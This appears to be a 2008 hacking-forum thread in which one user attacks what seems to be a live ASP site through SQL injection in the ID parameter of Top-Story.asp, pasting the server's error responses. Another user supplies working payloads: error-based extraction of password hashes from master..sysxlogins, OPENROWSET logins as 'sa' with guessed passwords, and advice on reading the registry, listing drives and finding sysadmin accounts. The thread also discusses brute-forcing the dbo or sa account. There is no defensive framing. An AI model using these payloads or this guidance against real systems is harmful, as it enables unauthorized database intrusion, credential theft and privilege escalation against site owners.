Try this: Code: Top-Story.asp?ID=convert(int,(SELECT password FROM master..sysxlogins)) Depending on error message it will be known either you have enough privileges or not. Posted: Sun Dec 07, 2008 5:11 am xterminal01 Regular user   Joined: Dec 07, 2008 Posts: 5 One is Microsoft OLE DB Provider for ODBC Drivers error '80040e09' [Microsoft][ODBC SQL Server Driver][SQL Server]SELECT permission denied on object 'sysxlogins', database 'master', owner 'dbo'. The other is Microsoft JET Database Engine error '80004005' Could not find file 'c:\windows\system32\inetsrv\master'. I was able to get the master columns sysusers & master_key_passwords However, i couldn't download the data... I suppose that means i don't have the rights to download but just browse. Are my only options to bruteforce the dbo or sa account? waraxe wrote: In order to jump to operating system and for other cool stuff you need sa privileges in database.

There can be more of them besides sa! Next try OPENROWSET: Code: Top-Story.asp?ID=convert(int,(select * from OPENROWSET('MSDASQL','DRIVER={SQL Server};SERVER=;uid=sa;pwd=password','select @@version'))) Top-Story.asp?ID=convert(int,(select * from OPENROWSET('SQLOLEDB','','sa','password','select @@version'))) This will indicate the possibilities for re-login with other username. And ... there are things you can do with lower privileges too - reading registry (xp_regread), list directories and harddrives with some other stored procedures. Posted: Sun Dec 07, 2008 11:24 pm xterminal01 Regular user   Joined: Dec 07, 2008 Posts: 5 1st Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Ad hoc access to OLE DB provider 'MSDASQL' has been denied. You must access this provider through a linked server. 2nd Microsoft OLE DB Provider for SQL Server error '80040e14' SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see "Surface Area Configuration" in SQL Server Books Online. With tools like priamos i am able to browse through their whole database, get tables and columns just the data is rejected. waraxe wrote: Fetch all rows in syslogins view and look for any users with useful privileges, especially sysadmins.
